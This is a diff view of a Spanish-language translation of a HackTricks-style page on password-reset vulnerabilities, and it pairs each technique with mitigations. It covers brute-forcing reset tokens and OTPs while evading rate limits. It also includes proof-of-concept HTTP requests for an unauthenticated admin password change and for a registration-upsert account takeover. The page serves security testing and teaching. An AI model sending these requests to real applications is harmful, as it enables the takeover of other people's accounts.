- Usar canales de comunicación seguros como HTTPS para prevenir ataques man-in-the-middle.
|
||||||
- **Referencia**:
|
- **Referencia**:
|
||||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
## **Using Expired Token**
|
## **Using Expired Token**
|
||||||
|
|
||||||
- Probar si tokens expirados aún pueden usarse para el password reset.
|
- Probar si tokens expirados aún pueden usarse para restablecer la contraseña.
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Implementar políticas estrictas de expiración de tokens y validar la expiración server-side.
|
- Implementar políticas estrictas de expiración de tokens y validar la expiración del token en el servidor.
|
||||||
|
|
||||||
## **Brute Force Password Reset Token**
|
## **Brute Force Password Reset Token**
|
||||||
|
|
||||||
- Intentar brute-force del reset token usando herramientas como Burpsuite y IP-Rotator para evadir rate limits basados en IP.
|
- Intentar forzar por fuerza bruta el reset token usando herramientas como Burpsuite e IP-Rotator para eludir rate limits basados en IP.
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
|
- Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
|
||||||
- Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.
|
- Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.
|
||||||
@ -157,22 +157,22 @@ uuid-insecurities.md
|
|||||||
|
|
||||||
## **Session Invalidation in Logout/Password Reset**
|
## **Session Invalidation in Logout/Password Reset**
|
||||||
|
|
||||||
- Asegurar que las sesiones se invaliden cuando un usuario hace logout o resetea su password.
|
- Asegurar que las sessions se invaliden cuando un usuario cierra sesión o restablece su contraseña.
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Implementar una gestión de sesiones correcta, asegurando que todas las sesiones se invaliden al hacer logout o al resetear la contraseña.
|
- Implementar una gestión adecuada de sessions, asegurando que todas las sessions se invaliden al hacer logout o restablecer la contraseña.
|
||||||
|
|
||||||
## **Session Invalidation in Logout/Password Reset**
|
## **Session Invalidation in Logout/Password Reset**
|
||||||
|
|
||||||
- Los reset tokens deben tener un tiempo de expiración después del cual se vuelven inválidos.
|
- Los reset tokens deben tener un tiempo de expiración tras el cual se invalidan.
|
||||||
- **Pasos de mitigación**:
|
- **Pasos de mitigación**:
|
||||||
- Establecer un tiempo de expiración razonable para los reset tokens y aplicarlo estrictamente server-side.
|
- Establecer un tiempo de expiración razonable para los reset tokens y aplicarlo estrictamente en el servidor.
|
||||||
|
|
||||||
## **OTP rate limit bypass by changing your session**
|
## **OTP rate limit bypass by changing your session**
|
||||||
|
|
||||||
- Si el sitio usa la sesión de usuario para rastrear intentos fallidos de OTP y el OTP es débil (<= 4 dígitos) entonces podemos efectivamente brute-forcear el OTP.
|
- Si el sitio usa la session del usuario para rastrear intentos fallidos de OTP y el OTP es débil (<= 4 dígitos), entonces podemos forzarlo por fuerza bruta de forma efectiva.
|
||||||
- **exploitation**:
|
- **explotación**:
|
||||||
- simplemente solicitar un nuevo session token después de ser bloqueado por el servidor.
|
- simplemente solicitar un nuevo session token después de ser bloqueado por el servidor.
|
||||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
- **Ejemplo** código que explota este bug adivinando aleatoriamente el OTP (cuando cambias la session el OTP también cambia, ¡así que no podremos bruteforcearlo secuencialmente!):
|
||||||
|
|
||||||
``` python
|
``` python
|
||||||
# Authentication bypass by password reset
|
# Authentication bypass by password reset
|
||||||
@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
|||||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Solicitud de explotación (concepto):
|
Exploitation request (concepto):
|
||||||
```http
|
```http
|
||||||
POST /hub/rpwd.php HTTP/1.1
|
POST /hub/rpwd.php HTTP/1.1
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||||
```
|
```
|
||||||
Mitigations:
|
Mitigaciones:
|
||||||
- Siempre exige un reset token válido y limitado en el tiempo, vinculado a la account y al session antes de cambiar la contraseña.
|
- Siempre exigir un reset token válido y con tiempo limitado vinculado a la cuenta y a la sesión antes de cambiar la contraseña.
|
||||||
- Nunca expongas las rutas skipOldPwdCheck a usuarios no autenticados; exige autenticación para cambios de contraseña normales y verifica la contraseña anterior.
|
- Nunca expongas rutas skipOldPwdCheck a usuarios no autenticados; exige autenticación para cambios de contraseña regulares y verifica la contraseña antigua.
|
||||||
- Invalida todas las sessions activas y los reset tokens después de un cambio de contraseña.
|
- Invalida todas las sesiones activas y los reset tokens después de un cambio de contraseña.
|
||||||
|
|
||||||
|
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||||
|
|
||||||
|
Algunas aplicaciones implementan el signup handler como un upsert. Si el email ya existe, el handler actualiza silenciosamente el registro de usuario en lugar de rechazar la petición. Cuando el registration endpoint acepta un body JSON mínimo con un email existente y una nueva contraseña, se convierte efectivamente en un pre-auth password reset sin ninguna verificación de propiedad, permitiendo un full account takeover.
|
||||||
|
|
||||||
|
Pre-auth ATO PoC (sobrescribiendo la contraseña de un usuario existente):
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
## Referencias
|
## Referencias
|
||||||
|
|
||||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||||
|
- [Cómo encontré un fallo crítico de restablecimiento de contraseña (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user